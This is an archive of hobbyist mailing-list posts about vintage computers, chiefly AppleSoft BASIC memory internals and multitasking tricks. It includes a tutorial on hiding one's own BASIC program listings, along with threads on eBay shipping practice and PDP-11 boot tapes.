Does anyone know why the default is $801 instead of $800? I > always wondered why that was. Anyway... _MANY_ BASICs have the same format for storing a program line. The first two bytes is the address "link" to the next line of the program. The second two bytes is the "line number" for this line of the program. The line number is followed by the text of the program line, with all of the BASIC keywords tokenized, and terminated with a zero. The next address location after the zero is the address pointed to by the link of the previous line and it's also the beginning of the next line of the program. At the end of a BASIC program, the zero at the end of the last line is followed by two zeros meaning that the next "link" is zero. When BASIC is initialized, (and the start of BASIC is normally $801), the OS usually stores zeros at $800,$801,and $802, and set the beginning of BASIC program space at $801, indicating that $800 is the end of the previous line and $801,$802 is the end of the program. So the BASIC program space DOES start at $800, but the beginning of the BASIC program is $801. _I_believe_ the need for a zero indicating the end of the previous line at the beginning of BASIC program space is probably a hold over from some ANCIENT incarnation of BASIC and is not really necessary, but I have not tried this with different kinds of BASIC. There should be no problem with setting the beginning of the BASIC program area to say.... $4057 before loading your program. As the program is loaded, the links are changed to reflect the new program location. > I run either of the programs and I get an endlessly alternating display of > "PROGRAM 1!" and "PROGRAM 2!". In other words, it works! Cool. BASIC also keeps a pointer to the current line being executed. Instead of "running" each program, try having the first program (at the end) set the current line pointer to $4001 and vicey versy. > It seems to me this could be mutated into a sort of practical method of > multi-tasking BASIC programs. There are quite a few zero page locations you need to save and restore, but multi-tasking BASIC is very possible. You could also write a BASIC program that built it's own custom subroutines in a different memory area on the fly, execute them, and return to itself. --Doug ==================================================== Doug Coward dcoward@pressstart.com (work) Sr. Software Eng. mranalog@home.com (home) Press Start Inc. http://www.pressstart.com Sunnyvale,CA Curator Analog Computer Museum and History Center http://www.best.com/~dcoward/analog ==================================================== From sipke at wxs.nl Wed May 17 13:37:39 2000 From: sipke at wxs.nl (Sipke de Wal) Date: Sun Feb 27 18:51:45 2005 Subject: Is this for real -- a new C64/128 References: <005a01bfbe26$88da3620$8b893cd8@compaq> Message-ID: <00a301bfc02e$fb5f0400$030101ac@boll.casema.net> The last I heard of was Escom BV but they went out of bussiness about 4 years ago. ----- Original Message ----- From: Owen Robertson To: Sent: Monday, May 15, 2000 6:32 AM Subject: Re: Is this for real -- a new C64/128 > Who owns the Commodore Trademark now? > From foo at siconic.com Wed May 17 11:43:27 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <20000517153306.18673.qmail@web615.mail.yahoo.com> Message-ID: On Wed, 17 May 2000, Ethan Dicks wrote: > > The default is 2049 ($801): 103=1 and 104=8 ($68=1, $69=8). > > Typical. The PET uses $0401, and the C-64 uses $0801 (because the display > memory is at $0400 by default on a C-64) Same with the Apple (first text display is at $400-$7FF, and actually, the SECOND text display is from $800-$BFF, though it was rarely used, but I have seen a couple programs that did use it in various ways). > > QUESTION: Does anyone know why the default is $801 instead of $800? I > > always wondered why that was. Anyway... > > I'm not sure of the exact reason, but for PETBASIC, $0400 (or $0800) must > contain a null byte. I suspect the same for AppleSoft. Yes, same thing with the Apple. If there is anything but a null at $800 (or really the first byte just before the beginning of your BASIC code) you get, I believe, an UNDEFINED STATEMENT error or some such nonsense. Why? > > It occured to me tonight as I was writing just such an application--the > > Nerd Trivia Challenge management program for the VCF, which loads a > > hi-resolution character generator at $1600, which would over-run my BASIC > > code, which is therefore relocated to $4001--that two or more BASIC Insignificant correction: actually, it's the VCF registration program. > There was a machine language program for the PET called "QuadraPET" > published way back when (I have a copy on a 1541-disk-image file), > that moved all the BASIC pointers around in zero page to create four > 8K virtual PETs on a 32K PET. The author suggested that in a family > setting, each user could have their own space and not clobber other > people's work. I'm sure it would be trivial to adapt to AppleSoft, As long as the family idiot didn't turn the power off of course. And also as long as the other family members didn't over-run the other's memory space. Can you imagine how dysfunctional such a nerd family could be? Son: Damn it, Dad, your sorting algorithm clobbered my variables again! Dad: It's not my fault! I told you not to invoke the graphics mode you little twit! Why don't you RTFM!? Mom: You're one to talk! You're not that great of a programmer yourself. And believe me, that's not the only thing you're not good at! Sis: I hate myself! My code is fat and ugly! I want to die!! > presuming there's around 100 bytes of protected memory to stuff it > into - the trick on the PET was to use the second cassette buffer > since so few users ever had two cassette drives. It was a great > learning experience to have to fit useful programs into 192 bytes. That's sort of the same thing as the $300-$39F range in the Apple. It usually held simple tone generator routines. I used it for specialized key input routines, etc. > cf. QuadraPET; I can send you a copy if you'd like to disassemble it. ISTR > it was published in COMPUTE! if you have a collection of them from the 1978- > 1981 timeframe. I'm fairly sure that the source is printed in the magazine. I have these issues (somewhere) but I pretty much know how the code needs to be written. I didn't just give myself the title of Apple GAWD! out of vanity, you know ;) I just need to look through some references and find out where the variable memory space pointers are at (I can almost remember them but its been too long) and the rest is easy. > OTOH, I am not familiar with this sort of trick being done for AppleSoft, > probably because back in those days, people moved to M/L for the Apple > very early on because of the demands for speed on graphical programs. True. I can't think of anything this would be useful for save for demonstrating my Apple GAWDliness. Sellam From ard at p850ug1.demon.co.uk Wed May 17 12:44:23 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:45 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <004901bfbf96$120c9f80$7264c0d0@ajp166> from "allisonp" at May 16, 0 08:06:54 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2096 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/865118f9/attachment.ksh From foo at siconic.com Wed May 17 11:55:52 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:45 2005 Subject: More Stupid AppleSoft Tricks Message-ID: Here's an article I wrote several years back detailing a method I used for list protecting AppleSoft BASIC programs. I'd actually devised this method in the mid-80s but decided to properly document it during a discussion on an Apple ][ newsgroup. It's a little long, and the BASIC program it references near the end is somewhere around here (I'll have to dig it out in case anyone's really interested). The same article can be found at http://www.siconic.com/files/appllock --- A Better Way to Protect Your AppleSoft BASIC Programs with AppleLock by Sam Ismail January 5, 1997 :Introduction: I devised this method of protecting AppleSoft BASIC program listings some years back during my prime Apple programming days. It involves a combination of several different techniques for keeping your program unlistable by the casual to intermediate user. This system is no match for advanced users who understand the internal structure of BASIC, for they could no doubt blast through this protection with little difficulty. Hence, this program is suitable for protecting programs which you wish to keep hidden from users who are less than expert Apple ][ hackers. The following is a technical explanation of the AppleLock protection scheme. If you don't care to read it, you may want to skip to the end of this document to get the source code to the AppleLock program. This discussion will not stop to explain in detail the advanced AppleSoft BASIC and machine language techniques that are employed in this scheme as there are plenty of FAQs around to explain the finer details of the tricks involved. :AppleSoft BASIC Internal Program Storage: AppleSoft BASIC stores your program in memory by tokenizing the keywords in your program into one byte values. So for instance, when you type the follwing line: 10 PRINT "HELLO WORLD!" the BASIC interpreter converts this into the following bunch of numbers in memory (shown in hexadecimal): 15 08 Pointer to program data for next line 0A 00 Line number (in this case, 10) BA The token for PRINT 22 The opening quotation mark 48 45 4C 4C 4F 20 57 4F 52 4C 44 21 The string HELLO WORLD! 22 The closing quotation mark 00 The end of line terminator If this was the first line of the program, it would be stored starting at memory location $0801 (or decimal 2049). As shown above in the first line of bytes, the next program line data would be stored at memory location $0815 (addresses are usually stored backwards in memory, which is the way the 6502 CPU reads addresses, so in this case 15 08 is $0815). :Some Simple Protection Schemes: One of the simplest and most widely known tricks for protecting your program is to POKE a 1 at memory location $0801 (POKE 2049,1). This will trick AppleSoft into thinking that the next line of the program is at $0801 instead of $0815. This will have the effect of listing the first line of your program over and over again, indefinitely, until the user presses Control-C to stop the display. Unfortunately, this trick is not permanent. If you SAVE your program in this condition and then LOAD it into memory again, AppleSoft will "fix" the pointer and make it point to the next line again. So this trick only keeps your program secret as long as the user always runs your program before doing anything else with it (ie. LISTing it) and as long as you perform this POKE as the first command inside your program. Not a very secure method. Another well known trick for keeping your programs secret is to set a flag in AppleSoft which has the effect of ignoring all AppleSoft BASIC commands at the command line and running your program instead, regardless of what the user types (with the exception of DOS commands which ignore the RUN-only flag and execute regardless of its status). This flag is turned on by POKE-ing any value greater than 127 at memory location 214 (eg. POKE 214,255). The flag is turned off by poking any value less than 128 at the same location (eg. POKE 214,0). Again, this method is not effective because your program, or some other program that runs before your program, must set this flag before the user has a chance to list your program. Otherwise, the user could simply load and list your program before it has a chance to set this flag. So what are we to do? Well, unfortunately our options are limited and ineffective unless we know some machine language and a little bit about the AppleSoft BASIC architecture. That's where AppleLock comes in. :Technical Overview of AppleLock: The key to this scheme is adding a special line to the beginning of your program which acts as a gateway to your program listing. This first line will block the rest of your program from being viewed. It seems benign enough to the naked eye. Yet it is performing some special magic to enable your program to run normally and be copied to another disk, but never listed. This scheme uses a machine language subroutine to change the pointers of your program to where your program really is. This machine code is stored right inside the first line, but it is hidden from the user by taking advantage of some features of AppleSoft BASIC. AppleSoft allows you to embed control characters in your program listings, for instance, in REM statements. When your program is LISTed, these control characters are interpreted and output to the display just like in any other circumstance. For instance, if you stuff a Control-H (or backspace) character in a REM statement, it will be interpreted as a backspace when the line is listed, and the character previous will be over-written by the character following the backspace. There are several programs available to allow you to create fancy listings by embedding backspace characters into your REM statements in this manner. The following will demonstrate the effect an embedded backspace will have when your program is listed: LIST 10 REM A CHARACER WILL BE MISSING ^ The backspace occurred here. The 'T' was printed, but it was followed by a backspace character, so the 'E' over- wrote the 'T'. Going back to our protection scheme, we must be able to CALL our machine language subroutine which unlocks the rest of the program, but we don't want the user to know what we are doing to unlock the program. So to hide the CALL command, we follow it with a REM statement with enough backspace characters to over-write the CALL command. As a side benefit, we can now put whatever message we want as the first line of the program, such as "THIS PROGRAM CANNOT BE LISTED". Or, we can get real tricky by displaying what looks like a program line, but in actuality is some dummy text which is hiding the real program line underneath, such as "10 END " (we must put sufficient spaces to over-write both the CALL and REM commands). To illustrate this more effectively, the following is an example of a raw line before we embed the backspace characters: 10 CALL 2100: REM *******************[ CAN'T LIST THIS! ] Now we would replace all the asteriks with a backspace character (ASCII 8). The easiest way to do this is from the monitor. In this case, we would find the first asterik at memory location $080C. We could then replace the asteriks with backspace characters by doing the following: CALL -151 80C: 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 This now changes the 19 asteriks into backspace characters. Nineteen backspace characters is enough to backspace all the way back to the line number at the beginning of the line. If our line number was 1, we would only need 18 backspaces. If our line number was 100, we would need 20 backspaces. If we had other commands after the CALL command, we would need enough backspace characters to backspace over these commands as well, including the formatting spaces AppleSoft prints when it displays your program listing. We have now completed the first step. We have created a line that when listed will only show our message. Now we must create some room for our machine language code which unlocks the program when it is CALLed by the hidden command. To do this, we will add extra asteriks after our message so that we can replace these asteriks with machine code and have the code stored right inside the BASIC program. We must store the code right inside the BASIC program so that it automatically gets loaded when we load our program. Otherwise, if the code was stored in a separate file, the user would be able to stop the program before it had a chance to unlock itself. This would enable the user to possibly figure out what was going on, and we don't want that. In order to do all this, we must hide our machine code from BASIC. Otherwise, BASIC will try to interpret our machine code as BASIC tokens when we list our program and will throw garbage all over the screen. First, let's create the program line we will need to hide our CALL command as well as reserve enough bytes to store our machine language unlock code. We will also add another program line for demonstration purposes later in the tutorial. 10 CALL 2100: REM *******************[ CAN'T LIST THIS! ]********* 20 PRINT "HELLO WORLD!" We have added some asteriks after our message to create the space we will use to store our machine code. There are two extra bytes that will be used to hide this machine code from BASIC as well as to fool BASIC into thinking our program is shorter than it really is, thus hiding the rest of the program. We must now jump back into the monitor to embed our backspace characters and then insert our machine code: CALL -151 80C: 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 Embedded backspaces 834: A9 3D 85 67 4C 65 d5 Our machine language code The machine language code disassembles to the following instructions: 834: A9 3D LDA #$3D ; Get the true start of our program 836: 85 67 STA $67 ; and tell AppleSoft where it really is 838: 4C 65 D5 JMP $D565 ; Now run the real program Basically, this code tells BASIC to jump over our first decoy line and then start running our real program. As you may have guessed, the CALL command that is at the beginning of our decoy line calls this code. Of course, the user doesn't see this CALL command because it is over-written by our message. Now we must hide our machine code from BASIC, or else when we list our program we will see a bunch of garbage. The machine code actually started at the second asterik after our message. We will replace the first asterik with a zero byte. A zero byte indicates to BASIC that it has reached the end of the program line, and should go on to list the next line. When we input a line, BASIC always puts a zero byte at the end of our line before starting a new line. So after the last asterik in our line is a zero byte. But we will also replace the last asterik in our line with another zero byte, resulting in two consecutive zero bytes. Two consecutive zero bytes tells BASIC that it has reached the end of the program, and it should stop listing. We are now going to change the internal pointers of our decoy line to point to these zero bytes so that we can fool BASIC into thinking our program is only one line long! 833: 0 Replace the first asterik with a 0 byte 83B: 0 Replace the last asterik with a 0 byte ($083C has another zero byte already) 801: 3B Change the internal pointer to point to the two zero bytes, fooling BASIC into thinking it has reached the end of the program Now when we list our program, we will see the follwing: [ CAN'T LIST THIS! ] But when we run it, we will see the following: HELLO WORLD! Cool, eh? Now, before we end our program, we must make sure we lock it back up so that we don't defeat our protection scheme by leaving the door open. You can add this line to your program to have it change the pointer to the start of our program back to our decoy line: 30 POKE 103,1 Now this program will run and then re-lock itself when it's done. And now hopefully you understand the basic premise of AppleLock. :Additional Security Requirements: As the programmer, you must also take several steps within your program to ensure nobody can break out of it by hitting Control-C. And we also have to contend with that darn reset button. First though, let's take care of Control-C. To prevent the user from trying to break out of the program and at the same time trap any unexpected errors in your program, make sure the FIRST line of your program is an ONERR GOTO command. ONERR GOTO allows you to tell BASIC to jump to any line in your program whenever an error occurs, and Control-C is considered an error (its error code is 255). The simplest way to handle errors and Control-C attempts is with the following lines: 10 ONERR GOTO 63999 63999 RESUME These lines will in effect cause the program to ignore any errors, including attempts to break out of the program by the user. There is still a very minor chance that the user could time a quick Control-C right when the machine language unlock program transfers control to your unlocked program, but before you issue the ONERR GOTO command or possibly set the AppleSoft RUN-only flag (POKE 214,255), thus allowing the user to break into your program. The AppleLock program at the end of this tutorial addresses this problem. Now let's take care of the reset button. The simplest way to prevent a person from using RESET to gain access to your program is by adding a simple POKE command at the beginning of your program, as follows: POKE 1010,0 This will cause the computer to re-boot whenever the reset button is pressed. We could get fancy and re-hook the reset vector so that when the user presses RESET we can restore our program lock and then return them to BASIC. This is exactly what the AppleLock program at the end of this tutorial does. Before your program terminates and returns to the command prompt, it must undo the RUN-only flag (if you have set it) and then re-lock your program. The following program line should be the last thing your program does before it exits: 63999 POKE 103,1:POKE 214,0 The first POKE re-locks your program. The second POKE turns off the AppleSoft RUN-only flag. You should also return the reset vector to its original setting if you have modified it. Otherwise, the next time the user presses RESET, your program will run again. If another program was loaded and then RESET was pressed, the system will most assuredly crash. AppleLock includes a routine which you can call at the end of your program which will restore the reset vector as well as the AppleSoft RUN-only flag and then re-lock your program before exiting. :AppleLock Effectiveness Analysis: Unfortunately, the weakest point of this scheme is that it takes only one well-placed POKE to unlock your program. As an aside, the user can find out what you are trying to hide by changing the character output speed with a SPEED= command. For instance, by setting SPEED=0, and then LIST-ing the program, the user would be able to see that there is a CALL command hidden behind your message. The best and most secure way to protect your program from prying eyes remains the use of a BASIC compiler. However, this is not always a feasible solution. There are a few compilers for DOS 3.3 that will convert your program to machine language. And there is the Beagle Compiler for ProDOS, but this compiler does not create a stand-alone machine language program, but rather requires an interpreter that replaces BASIC.SYSTEM. :Conclusion: Hopefully this tutorial has given you enough information to help you protect your AppleSoft BASIC programs for whatever reason you may have. Enjoy. :The AppleLock Program: This program is very rudimentary and not very pretty. A nice interface can be built around this program to make it more user friendly. The important thing is that it is functional. What it does is creates the machine language unlock code by POKE-ing it into memory. It then asks you to enter the name of the program you wish to lock, as well as the line number you wish to use as your decoy line. This must be the first line in your program! After that, it allows you to enter a message up to 160 characters in length (the length of the message is fairly arbitrary, but this length was chosen to keep the program simple). Once you get good at this technique, you will want to use other programs to create your message (or perhaps use the monitor like I do) so that you can have fancy banners show up when you try to list the program. It then builds a text file with all the commands necessary to apply AppleLock to your program. This file will then be EXEC-ed so that the AppleLock procedure will be performed automatically. Once the process is complete, your program will be loaded in memory and in a locked state (if you try to LIST it you will only get the message you typed in). At this point, you should SAVE your program to disk to make the process permanent. The program will give you instructions on how to lock/unlock your program so that you, as the author, can list and modify it as you please. Keep in mind that you must unlock your program before you make any changes to it, otherwise you stand the chance of royally screwing your program and possibly crashing your machine. Weird things can happen when you start to mess with AppleSoft program pointers. If this happens, simply reboot your computer and re-load your program, and all will be well again. If you ever want to remove AppleLock from your program, simply unlock it and then save it to your disk (be sure to restore the BASIC start-of-program marker with a POKE 103,1 after you are done saving). When you load your program again, it will be back to normal. The AppleLock program includes an enhanced locking mechanism which will modify the reset vector and also sets the AppleSoft RUN-only flag by POKE-ing a 255 at location 214 before it transfers control to your program. This will prevent users from listing your program should it fail and drop to the command prompt at some point, or the user presses Control-C and you haven't added an ONERR GOTO command to your program. If the reset button is pressed, the locking mechanism will re-lock the program, reset the AppleSoft RUN-only flag, restore the reset vector to its original value and then return to the command prompt. :Disclaimer: This program may be freely modified, distributed, sauteed, fricasseed, lambasted, spindled, mutilated, desecrated, tormented and forced to cry "uncle". It may not, however, be recruited into sado-masochistic rituals unless it has consented to participate in such activities. Niether myself, my immediate family, nor the code (it's just code, it doesn't know any better) can be held responsible for any havoc it wreaks on your AppleSoft programs. This program has been run and tested several times and has been deemed sound by the author. If you do somehow get yourself in a bind, I can be reached via email (dastar@siconic.com) and I will try to help you reclaim your lost code. On that note, I leave you with these words to live by: Always Keep a Backup! ------- cut here ------- From foo at siconic.com Wed May 17 12:08:11 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: <3922D04E.1E9CC9C8@home.com> Message-ID: On Wed, 17 May 2000, Doug Coward wrote: > BASIC program is $801. _I_believe_ the need for a > zero indicating the end of the previous line at > the beginning of BASIC program space is probably > a hold over from some ANCIENT incarnation of > BASIC and is not really necessary, but I have > not tried this with different kinds of BASIC. You see, THESE are the kinds of mysteries that I loved to investigate. Computer anachronisms like this have always interested me. > There should be no problem with setting the > beginning of the BASIC program area to say.... > $4057 before loading your program. As the program > is loaded, the links are changed to reflect > the new program location. This is true. > > I run either of the programs and I get an endlessly alternating display of > > "PROGRAM 1!" and "PROGRAM 2!". In other words, it works! Cool. > > BASIC also keeps a pointer to the current > line being executed. Instead of "running" > each program, try having the first program > (at the end) set the current line pointer > to $4001 and vicey versy. I didn't think about this until Eric brought it up in his posting. I'll have to look that pointer up and fiddle with it. Another important thing is to find out where the GOSUB stack is kept. I'm assuiming somewhere in variable memory but I don't think I've ever delved into this. > You could also write a BASIC program that built > it's own custom subroutines in a different memory > area on the fly, execute them, and return to > itself. Definitely possible. That would have even been practical. I can think of one application a college professor wanted me to write for him where this would have been a good solution (basically getting an equation from the user to be plotted...instead of parsing the equation, the user could've just input it in BASIC syntax and then it could've been POKEd in somewhere and executed). Sellam From vcf at siconic.com Wed May 17 12:31:35 2000 From: vcf at siconic.com (Vintage Computer Festival) Date: Sun Feb 27 18:51:45 2005 Subject: IBEX info? (fwd) Message-ID: Beau added this info... ---------- Forwarded message ---------- Date: Tue, 16 May 2000 23:40:22 -0500 From: Beau Reichert To: Vintage Computer Festival Subject: Re: IBEX info? I system was made by logic systems international, inc. from japan. I guess it would be a mini computer. The system is new in box never been opened. I will get some pictures of it. The model number is 7202. Has big keyboard/cpu, a monitor unit, and a 2 big floppies in one unit - 60lbs. Thanks Beau Sellam International Man of Intrigue and Danger ------------------------------------------------------------------------------- Looking for a six in a pile of nines... Coming soon: VCF 4.0! VCF East: Planning in Progress See http://www.vintage.org for details! From foo at siconic.com Wed May 17 12:41:46 2000 From: foo at siconic.com (Vintage Computer GAWD!) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Message-ID: On Wed, 17 May 2000, Vintage Computer GAWD! wrote: > On Wed, 17 May 2000, Doug Coward wrote: > > > BASIC program is $801. _I_believe_ the need for a > > zero indicating the end of the previous line at > > the beginning of BASIC program space is probably > > a hold over from some ANCIENT incarnation of > > BASIC and is not really necessary, but I have > > not tried this with different kinds of BASIC. > > You see, THESE are the kinds of mysteries that I loved to investigate. > Computer anachronisms like this have always interested me. And upon thinking about it more I think the reason I enjoy these is because it firmly connects us to the past. These little quirks have significance. For almost every "why" there is almost always a reason that is based on a decision some programmer made way back when that just stuck for lack of a better solution at the time and evolved and grew with the trade, and each successive generation just adopted it without wondering why it's like that. What other anachronisms come to mind? Anyone who's ever taken FORTRAN (before the 90s versions) came across such an anachronism. You had to put certain characters in certain screen columns because those same columns are where you would punch on a punch card. RPG as well. I'm sure we've all at some point looked at the control characters on the ASCII chart and realized the mnemonics came from teletypes. CR (carriage return) of course comes from the teletype which is carried up from the typewriter. When's the last time you called a hard drive a "Winchester" drive? In fact, I'd like to compile a list of these. It would make for an interesting article. Input please! Sellam From mikeford at socal.rr.com Wed May 17 13:33:35 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:51:45 2005 Subject: Computer Value (was Re: value of RK05) In-Reply-To: <4.3.0.20000517090543.018bd5d0@pc> Message-ID: >Just to confound the eBay hysteria, I'll recount what happened >with these RL02s. I was all excited because eBay's history showed >a single RL02 went for $28 a few weeks ago. >Chuck McManis missed my original post to this list, but he was >the winning bidder and picked one up for $5.50. I sold the rest >to him for that price, so he got five with shipping for $45. >(Did I bend any eBay rule by selling him the other ones?) > >In another eBay story, I was the top bidder for a Leitz illuminator >transformer for an old microscope I have, at $5. However, the >seller wanted to charge $12 shipping. This item is two-three pounds >at best. I questioned this and haven't heard from them yet. >No doubt some eBay sellers have discovered the old mail-order 1) Know the shipping cost before you bid. It isn't all greed, some people only use mailbox etc. or only ship fed ex (or both). Check feedback, no frequent seller would get away without some shipping cost comments if they charge too much. For newbie sellers, either email, or don't bid. If stuck with high charges (and I don't mean $1 for packing), wait til the package arrives then post a neutral feedback showing the actual and charged amounts. 2) Ebay has some funny rules, maybe you bent one, but the practice is common. 3) I charge a fair price for shipping, ie priority mail with confirmation is $3.55 up to two lbs, and that gets listed in most of my auctions as $4 for small items (no insurance) or similarly rounded up with insurance added for larger items. Most people are willing to pay a fair price, but nobody likes a unexpected price. 4) Don't try to save your customer shipping costs unless they request it, and even then stick to basic good business practices like confirmation of delivery and/or insurance. This is a lesson my international sales are slowly pounding into my head. 5) List thinly traded items at a "fair" selling price, not a low bid attracting price. I sell a lot of some cheap generic items for old macs, ie a IIcx power supply, mostly because I don't want to just scrap them. I tried a bunch of different prices, and "most" sales were still single bid, so now they list for $5.99 with $6 shipping. From ard at p850ug1.demon.co.uk Wed May 17 12:54:33 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:45 2005 Subject: Software rental, "trusted computing", etc. (was Re: Is this for real -- a new C64/128) In-Reply-To: <001101bfbfa0$3505ac20$0400c0a8@winbook> from "Richard Erlacher" at May 16, 0 07:35:34 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1138 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/a97c8006/attachment.ksh From ard at p850ug1.demon.co.uk Wed May 17 13:18:34 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:51:45 2005 Subject: Finding Vintage Computers - A Primer In-Reply-To: <001601bfc017$81217ea0$0200a8c0@marvin> from "Mark Gregory" at May 17, 0 09:49:36 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 534 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000517/70abdf46/attachment.ksh From healyzh at aracnet.com Wed May 17 14:09:18 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:51:45 2005 Subject: Building PDP-11 Boot Tapes Message-ID: OK, I'm feeling lazy. Is it possible to build a PDP-11 TK-50 Boot tape under OpenVMS V7.2? What can I say, I really don't feel like getting my DECstation 5000/133 fully up and running with NetBSD, moving the TZ30 from my PDP-11/73 to the DECstation, making the tape, then moving the TZ30 back just to build a tape. Hmm, maybe I should just use an emulator to build UNIX V7M RL02 images for my /44 and then use a VAX to make the diskpacks :^) BTW, PUP's is now setup so you can access it after going through the SCO 'click-through' AT&T Source License. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From CLASSICCMP at trailing-edge.com Wed May 17 14:51:40 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:51:45 2005 Subject: Building PDP-11 Boot Tapes Message-ID: <000517155140.20200112@trailing-edge.com> >OK, I'm feeling lazy. Is it possible to build a PDP-11 TK-50 Boot tape >under OpenVMS V7.2? Yeah, sure it is. Question is, what do you want to boot into? Just make sure all the files are laid down correctly, all the record lengths are right, and you've got the tape marks in the right places. Those are the essential ingredient to any tape. Tim. From dlinder at uiuc.edu Wed May 17 15:22:41 2000 From: dlinder at uiuc.edu (Dan Linder) Date: Sun Feb 27 18:51:45 2005 Subject: WTD: HP9000/735 Ethernet Board Message-ID: Hello List, A friend of mine has recently acquired an HP9000/735, and he's looking to get an ethernet adapter for it. (it either didn't have one, or the one he had was less than functional). It is HP PN A2095-66584, the AUI ethernet board for an HP 735. He would also be interested in the thin lan card instead, if someone has one of those available for sale. thanks a lot in advance. - Dan Linder / dlinder@uiuc.edu / upside@mcs.net - - Riot sounds start riots. / keep talking... - From pete at dunnington.u-net.com Wed May 17 15:26:46 2000 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:51:45 2005 Subject: Cool AppleSoft BASIC trick I never thought of before In-Reply-To: Vintage Computer GAWD! "Re: Cool AppleSoft BASIC trick I never thought of before" (May 17, 0:16) References: Message-ID: <10005172126.ZM4785@indy.dunnington.u-net.com> On May 17, 0:16, Vintage Computer GAWD! wrote: > On Wed, 17 May 2000, Pete Turnbull wrote: > > > If I remember correctly, Applesoft BASIC is one of those that searches from > > the start of program every time it executes a GOTO or GOSUB. If I'm right, > > the easy way to preserve variables (and all the rest of the program state, > > including the GOSUB/FOR..NEXT stack) would be to POKE in the new start > > address and then GOTO 10 instead of RUN. > > I think you'd have to do more than this since the interpreter won't know > the difference between Program A running and Program B. In other words, > the varibale A$ in Programs A&B will both point to the same variable > (hmmm...an interesting way to implement shared memory in BASIC!) That's right; I just assumed you wanted to keep all the variables around all the time. If you want something more like a real mutitasking system, and program independence (not to have to worry about variables in one program sharing names with those in another) then you need to save-and-restore all the relevant pointers: start of variable space, start of arrays, end of numerics, start of strings. Maybe more (I've not tried it personally). > > If you do this, you better set LOMEM as well (but only once), or make sure > > the highest-loaded program is the first one RUN, so the variables start in > > a suitable place. > > LOMEM does almost what you need: it moves the start of the variable data > pointer to the address specified with the command. However, I do believe > this initializes the variable space, which would not be good. No, it wouldn't be good, and the LOMEM comand probably does reset the other pointers (I can't check, my Apples are both in store at the moment). I really just meant "set the LOMEM pointer". > I've never > devled into the way BASIC variables are kept but I am pretty sure that > they are searched for from the beginning of whatever LOMEM is to the end > (as given, I believe, by HIMEM). LOMEM and HIMEM simply set pointers in > the zero page that BASIC uses to keep track of the low and high memory > locations for variable storage. So manually keeping track of these and > POKEing them in for each swap should appropriately keep the variable > memory for each program in memory separate and intact. Yes, the variables aren't stored in any specially structured way (they are in some other BASICs). You probably want to keep track of the end of string space as well (HIMEM, essentially) and make liberal use of FRE() to minimise waste. > I was just thinking that a sort of Multi-Tasking BASIC Operating System > (MTBOS) could be developed that would take care of all this for you. > Also, since the text screen on the Apple ][ can be defined by poking in > the left column, right column, top row and bottom row into the > appropriately zero page addresses, one can also specify a screen area that > each program is allowed to run in. This could be maintained by the MTBOS. > > The MTBOS would basically reside somewhere in memory (a simple one could > probably be made to fit in $300-$3A0 which is the common unused space > where simple machine language utilities go) and can be CALLed from each > program running at regular intervals to allow a swap to the next process. > It would be sort of like Windows 3.0 :) (but probably faster). Yes, probably :-) Since you wouldn't need much code, and nothing on a standard Apple uses interrupts, you could go one further and make it a time-sliced system instead of a cooperative one, with a very simple circuit (not much more than a 555 timer, though you might want it on a card with a PROM to hold the code). -- Pete Peter Turnbull Dept. of Computer Science University of York From ghldbrd at ccp.com Wed May 17 21:20:52 2000 From: ghldbrd at ccp.com (Gary Hildebrand) Date: Sun Feb 27 18:51:45 2005 Subject: Is this for real -- a new C64/128 In-Reply-To: <00a301bfc02e$fb5f0400$030101ac@boll.casema.net> Message-ID: Hello Sipke On 17-May-00, you wrote: > The last I heard of was Escom BV but they went out of bussiness about 4 years > ago. Escom went on to become Amiga.de. They are building A1200's and some A4000's from old parts stock held up by the creditors to Commodore. AFAIK the C= is up for grabs, and has nothing to do with the present Amiga, US or German. > Regards -- Gary Hildebrand From healyzh at aracnet.com Wed May 17 15:37:58 2000 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 18:51:45 2005 Subject: Building PDP-11 Boot Tapes In-Reply-To: <000517155140.20200112@trailing-edge.com> from "CLASSICCMP@trailing-edge.com" at May 17, 2000 03:51:40 PM Message-ID: <200005172037.NAA23230@shell1.aracnet.com> > >OK, I'm feeling lazy. Is it possible to build a PDP-11 TK-50 Boot tape > >under OpenVMS V7.2? > > Yeah, sure it is. Question is, what do you want to boot into? Now how did I miss adding that little bit of info! For the /73 I'm thinking Ultrix-11 V3.1 and/or 2.11BSD. I'm also considering UNIX V7M for the /44, but with that I'd build it on an emulator and then copy the RL02 images to RL02 disk packs. It looks like both Ultrix-11 and 2.11BSD will support TK50's, though I think they're likely to have some problems with the way I've got the /73's 